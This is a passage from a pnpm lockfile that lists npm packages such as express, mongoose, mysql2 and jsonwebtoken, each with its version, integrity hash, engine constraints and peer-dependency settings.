sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==} 616 | 617 | cookie@0.4.2: 618 | resolution: {integrity: sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==} 619 | engines: {node: '>= 0.6'} 620 | 621 | cookie@0.5.0: 622 | resolution: {integrity: sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==} 623 | engines: {node: '>= 0.6'} 624 | 625 | cors@2.8.5: 626 | resolution: {integrity: sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==} 627 | engines: {node: '>= 0.10'} 628 | 629 | create-require@1.1.1: 630 | resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==} 631 | 632 | debug@2.6.9: 633 | resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} 634 | peerDependencies: 635 | supports-color: '*' 636 | peerDependenciesMeta: 637 | supports-color: 638 | optional: true 639 | 640 | debug@3.2.7: 641 | resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==} 642 | peerDependencies: 643 | supports-color: '*' 644 | peerDependenciesMeta: 645 | supports-color: 646 | optional: true 647 | 648 | debug@4.3.4: 649 | resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} 650 | engines: {node: '>=6.0'} 651 | peerDependencies: 652 | supports-color: '*' 653 | peerDependenciesMeta: 654 | supports-color: 655 | optional: true 656 | 657 | define-data-property@1.1.1: 658 | resolution: {integrity: sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==} 659 | engines: {node: '>= 0.4'} 660 | 661 | delegates@1.0.0: 662 | resolution: {integrity: sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==} 663 | 664 | denque@2.1.0: 665 | resolution: {integrity: sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==} 666 | engines: {node: '>=0.10'} 667 | 668 | depd@2.0.0: 669 | resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} 670 | engines: {node: '>= 0.8'} 671 | 672 | destroy@1.2.0: 673 | resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} 674 | engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} 675 | 676 | detect-libc@2.0.2: 677 | resolution: {integrity: sha512-UX6sGumvvqSaXgdKGUsgZWqcUyIXZ/vZTrlRT/iobiKhGL0zL4d3osHj3uqllWJK+i+sixDS/3COVEOFbupFyw==} 678 | engines: {node: '>=8'} 679 | 680 | diff@4.0.2: 681 | resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==} 682 | engines: {node: '>=0.3.1'} 683 | 684 | doctrine@3.0.0: 685 | resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==} 686 | engines: {node: '>=6.0.0'} 687 | 688 | dotenv@16.3.1: 689 | resolution: {integrity: sha512-IPzF4w4/Rd94bA9imS68tZBaYyBWSCE47V1RGuMrB94iyTOIEwRmVL2x/4An+6mETpLrKJ5hQkB8W4kFAadeIQ==} 690 | engines: {node: '>=12'} 691 | 692 | ecdsa-sig-formatter@1.0.11: 693 | resolution: {integrity: sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==} 694 | 695 | ee-first@1.1.1: 696 | resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} 697 | 698 | emoji-regex@8.0.0: 699 | resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} 700 | 701 | encodeurl@1.0.2: 702 | resolution: {integrity: sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==} 703 | engines: {node: '>= 0.8'} 704 | 705 | escape-html@1.0.3: 706 | resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} 707 | 708 | esutils@2.0.3: 709 | resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} 710 | engines: {node: '>=0.10.0'} 711 | 712 | etag@1.8.1: 713 | resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} 714 | engines: {node: '>= 0.6'} 715 | 716 | express-session@1.17.3: 717 | resolution: {integrity: sha512-4+otWXlShYlG1Ma+2Jnn+xgKUZTMJ5QD3YvfilX3AcocOAbIkVylSWEklzALe/+Pu4qV6TYBj5GwOBFfdKqLBw==} 718 | engines: {node: '>= 0.8.0'} 719 | 720 | express@4.18.2: 721 | resolution: {integrity: sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==} 722 | engines: {node: '>= 0.10.0'} 723 | 724 | fast-xml-parser@4.2.5: 725 | resolution: {integrity: sha512-B9/wizE4WngqQftFPmdaMYlXoJlJOYxGQOanC77fq9k8+Z0v5dDSVh+3glErdIROP//s/jgb7ZuxKfB8nVyo0g==} 726 | hasBin: true 727 | 728 | fastfall@1.5.1: 729 | resolution: {integrity: sha512-KH6p+Z8AKPXnmA7+Iz2Lh8ARCMr+8WNPVludm1LGkZoD2MjY6LVnRMtTKhkdzI+jr0RzQWXKzKyBJm1zoHEL4Q==} 730 | engines: {node: '>=0.10.0'} 731 | 732 | fill-range@7.0.1: 733 | resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==} 734 | engines: {node: '>=8'} 735 | 736 | finalhandler@1.2.0: 737 | resolution: {integrity: sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==} 738 | engines: {node: '>= 0.8'} 739 | 740 | forwarded@0.2.0: 741 | resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} 742 | engines: {node: '>= 0.6'} 743 | 744 | fresh@0.5.2: 745 | resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==} 746 | engines: {node: '>= 0.6'} 747 | 748 | fs-minipass@2.1.0: 749 | resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} 750 | engines: {node: '>= 8'} 751 | 752 | fs.realpath@1.0.0: 753 | resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} 754 | 755 | fsevents@2.3.3: 756 | resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} 757 | engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} 758 | os: [darwin] 759 | 760 | function-bind@1.1.2: 761 | resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} 762 | 763 | gauge@3.0.2: 764 | resolution: {integrity: sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==} 765 | engines: {node: '>=10'} 766 | 767 | generate-function@2.3.1: 768 | resolution: {integrity: sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==} 769 | 770 | get-intrinsic@1.2.2: 771 | resolution: {integrity: sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==} 772 | 773 | glob-parent@5.1.2: 774 | resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} 775 | engines: {node: '>= 6'} 776 | 777 | glob@7.1.6: 778 | resolution: {integrity: sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==} 779 | 780 | glob@7.2.3: 781 | resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} 782 | 783 | gopd@1.0.1: 784 | resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==} 785 | 786 | has-flag@3.0.0: 787 | resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} 788 | engines: {node: '>=4'} 789 | 790 | has-property-descriptors@1.0.1: 791 | resolution: {integrity: sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg==} 792 | 793 | has-proto@1.0.1: 794 | resolution: {integrity: sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==} 795 | engines: {node: '>= 0.4'} 796 | 797 | has-symbols@1.0.3: 798 | resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} 799 | engines: {node: '>= 0.4'} 800 | 801 | has-unicode@2.0.1: 802 | resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==} 803 | 804 | hasown@2.0.0: 805 | resolution: {integrity: sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==} 806 | engines: {node: '>= 0.4'} 807 | 808 | http-errors@2.0.0: 809 | resolution: {integrity: sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==} 810 | engines: {node: '>= 0.8'} 811 | 812 | https-proxy-agent@5.0.1: 813 | resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==} 814 | engines: {node: '>= 6'} 815 | 816 | iconv-lite@0.4.24: 817 | resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} 818 | engines: {node: '>=0.10.0'} 819 | 820 | iconv-lite@0.6.3: 821 | resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} 822 | engines: {node: '>=0.10.0'} 823 | 824 | ieee754@1.2.1: 825 | resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} 826 | 827 | ignore-by-default@1.0.1: 828 | resolution: {integrity: sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==} 829 | 830 | inflight@1.0.6: 831 | resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} 832 | 833 | inherits@2.0.4: 834 | resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} 835 | 836 | ip@2.0.0: 837 | resolution: {integrity: sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ==} 838 | 839 | ipaddr.js@1.9.1: 840 | resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} 841 | engines: {node: '>= 0.10'} 842 | 843 | is-binary-path@2.1.0: 844 | resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} 845 | engines: {node: '>=8'} 846 | 847 | is-extglob@2.1.1: 848 | resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} 849 | engines: {node: '>=0.10.0'} 850 | 851 | is-fullwidth-code-point@3.0.0: 852 | resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} 853 | engines: {node: '>=8'} 854 | 855 | is-glob@4.0.3: 856 | resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} 857 | engines: {node: '>=0.10.0'} 858 | 859 | is-number@7.0.0: 860 | resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} 861 | engines: {node: '>=0.12.0'} 862 | 863 | is-property@1.0.2: 864 | resolution: {integrity: sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==} 865 | 866 | joi@17.11.0: 867 | resolution: {integrity: sha512-NgB+lZLNoqISVy1rZocE9PZI36bL/77ie924Ri43yEvi9GUUMPeyVIr8KdFTMUlby1p0PBYMk9spIxEUQYqrJQ==} 868 | 869 | js-yaml@4.1.0: 870 | resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} 871 | hasBin: true 872 | 873 | jsonwebtoken@9.0.2: 874 | resolution: {integrity: sha512-PRp66vJ865SSqOlgqS8hujT5U4AOgMfhrwYIuIhfKaoSCZcirrmASQr8CX7cUg+RMih+hgznrjp99o+W4pJLHQ==} 875 | engines: {node: '>=12', npm: '>=6'} 876 | 877 | jwa@1.4.1: 878 | resolution: {integrity: sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==} 879 | 880 | jws@3.2.2: 881 | resolution: {integrity: sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==} 882 | 883 | kareem@2.5.1: 884 | resolution: {integrity: sha512-7jFxRVm+jD+rkq3kY0iZDJfsO2/t4BBPeEb2qKn2lR/9KhuksYk5hxzfRYWMPV8P/x2d0kHD306YyWLzjjH+uA==} 885 | engines: {node: '>=12.0.0'} 886 | 887 | lodash.get@4.4.2: 888 | resolution: {integrity: sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==} 889 | 890 | lodash.includes@4.3.0: 891 | resolution: {integrity: sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==} 892 | 893 | lodash.isboolean@3.0.3: 894 | resolution: {integrity: sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==} 895 | 896 | lodash.isequal@4.5.0: 897 | resolution: {integrity: sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==} 898 | 899 | lodash.isinteger@4.0.4: 900 | resolution: {integrity: sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==} 901 | 902 | lodash.isnumber@3.0.3: 903 | resolution: {integrity: sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==} 904 | 905 | lodash.isplainobject@4.0.6: 906 | resolution: {integrity: sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==} 907 | 908 | lodash.isstring@4.0.1: 909 | resolution: {integrity: sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==} 910 | 911 | lodash.mergewith@4.6.2: 912 | resolution: {integrity: sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==} 913 | 914 | lodash.once@4.1.1: 915 | resolution: {integrity: sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==} 916 | 917 | long@5.2.3: 918 | resolution: {integrity: sha512-lcHwpNoggQTObv5apGNCTdJrO69eHOZMi4BNC+rTLER8iHAqGrUVeLh/irVIM7zTw2bOXA8T6uNPeujwOLg/2Q==} 919 | 920 | lru-cache@6.0.0: 921 | resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==} 922 | engines: {node: '>=10'} 923 | 924 | lru-cache@7.18.3: 925 | resolution: {integrity: sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==} 926 | engines: {node: '>=12'} 927 | 928 | lru-cache@8.0.5: 929 | resolution: {integrity: sha512-MhWWlVnuab1RG5/zMRRcVGXZLCXrZTgfwMikgzCegsPnG62yDQo5JnqKkrK4jO5iKqDAZGItAqN5CtKBCBWRUA==} 930 | engines: {node: '>=16.14'} 931 | 932 | make-dir@3.1.0: 933 | resolution: {integrity: sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==} 934 | engines: {node: '>=8'} 935 | 936 | make-error@1.3.6: 937 | resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==} 938 | 939 | media-typer@0.3.0: 940 | resolution: {integrity: sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==} 941 | engines: {node: '>= 0.6'} 942 | 943 | memory-pager@1.5.0: 944 | resolution: {integrity: sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==} 945 | 946 | merge-descriptors@1.0.1: 947 | resolution: {integrity: sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==} 948 | 949 | methods@1.1.2: 950 | resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} 951 | engines: {node: '>= 0.6'} 952 | 953 | mime-db@1.52.0: 954 | resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} 955 | engines: {node: '>= 0.6'} 956 | 957 | mime-types@2.1.35: 958 | resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} 959 | engines: {node: '>= 0.6'} 960 | 961 | mime@1.6.0: 962 | resolution: {integrity: sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==} 963 | engines: {node: '>=4'} 964 | hasBin: true 965 | 966 | minimatch@3.1.2: 967 | resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} 968 | 969 | minipass@3.3.6: 970 | resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} 971 | engines: {node: '>=8'} 972 | 973 | minipass@5.0.0: 974 | resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} 975 | engines: {node: '>=8'} 976 | 977 | minizlib@2.1.2: 978 | resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} 979 | engines: {node: '>= 8'} 980 | 981 | mkdirp@1.0.4: 982 | resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} 983 | engines: {node: '>=10'} 984 | hasBin: true 985 | 986 | mongodb-connection-string-url@2.6.0: 987 | resolution: {integrity: sha512-WvTZlI9ab0QYtTYnuMLgobULWhokRjtC7db9LtcVfJ+Hsnyr5eo6ZtNAt3Ly24XZScGMelOcGtm7lSn0332tPQ==} 988 | 989 | mongodb@4.17.1: 990 | resolution: {integrity: sha512-MBuyYiPUPRTqfH2dV0ya4dcr2E5N52ocBuZ8Sgg/M030nGF78v855B3Z27mZJnp8PxjnUquEnAtjOsphgMZOlQ==} 991 | engines: {node: '>=12.9.0'} 992 | 993 | mongoose@6.12.3: 994 | resolution: {integrity: sha512-MNJymaaXali7w7rHBxVUoQ3HzHHMk/7I/+yeeoSa4rUzdjZwIWQznBNvVgc0A8ghuJwsuIkb5LyLV6gSjGjWyQ==} 995 | engines: {node: '>=12.0.0'} 996 | 997 | mpath@0.9.0: 998 | resolution: {integrity: sha512-ikJRQTk8hw5DEoFVxHG1Gn9T/xcjtdnOKIU1JTmGjZZlg9LST2mBLmcX3/ICIbgJydT2GOc15RnNy5mHmzfSew==} 999 | engines: {node: '>=4.0.0'} 1000 | 1001 | mquery@4.0.3: 1002 | resolution: {integrity: sha512-J5heI+P08I6VJ2Ky3+33IpCdAvlYGTSUjwTPxkAr8i8EoduPMBX2OY/wa3IKZIQl7MU4SbFk8ndgSKyB/cl1zA==} 1003 | engines: {node: '>=12.0.0'} 1004 | 1005 | ms@2.0.0: 1006 | resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} 1007 | 1008 | ms@2.1.2: 1009 | resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} 1010 | 1011 | ms@2.1.3: 1012 | resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} 1013 | 1014 | mysql2@3.6.3: 1015 | resolution: {integrity: sha512-qYd/1CDuW1KYZjD4tzg2O8YS3X/UWuGH8ZMHyMeggMTXL3yOdMisbwZ5SNkHzDGlZXKYLAvV8tMrEH+NUMz3fw==} 1016 | engines: {node: '>= 8.0'} 1017 | 1018 | named-placeholders@1.1.3: 1019 | resolution: {integrity: sha512-eLoBxg6wE/rZkJPhU/xRX1WTpkFEwDJEN96oxFrTsqBdbT5ec295Q+CoHrL9IT0DipqKhmGcaZmwOt8OON5x1w==} 1020 | engines: {node: '>=12.0.0'} 1021 | 1022 | negotiator@0.6.3: 1023 | resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} 1024 | engines: {node: '>= 0.6'} 1025 | 1026 | node-addon-api@5.1.0: 1027 | resolution: {integrity: sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==} 1028 | 1029 | node-fetch@2.7.0: 1030 | resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==} 1031 | engines: {node: 4.x || >=6.0.0} 1032 | peerDependencies: 1033 | encoding: ^0.1.0 1034 | peerDependenciesMeta: 1035 | encoding: 1036 | optional: true 1037 | 1038 | nodemon@2.0.22: 1039 | resolution: {integrity: 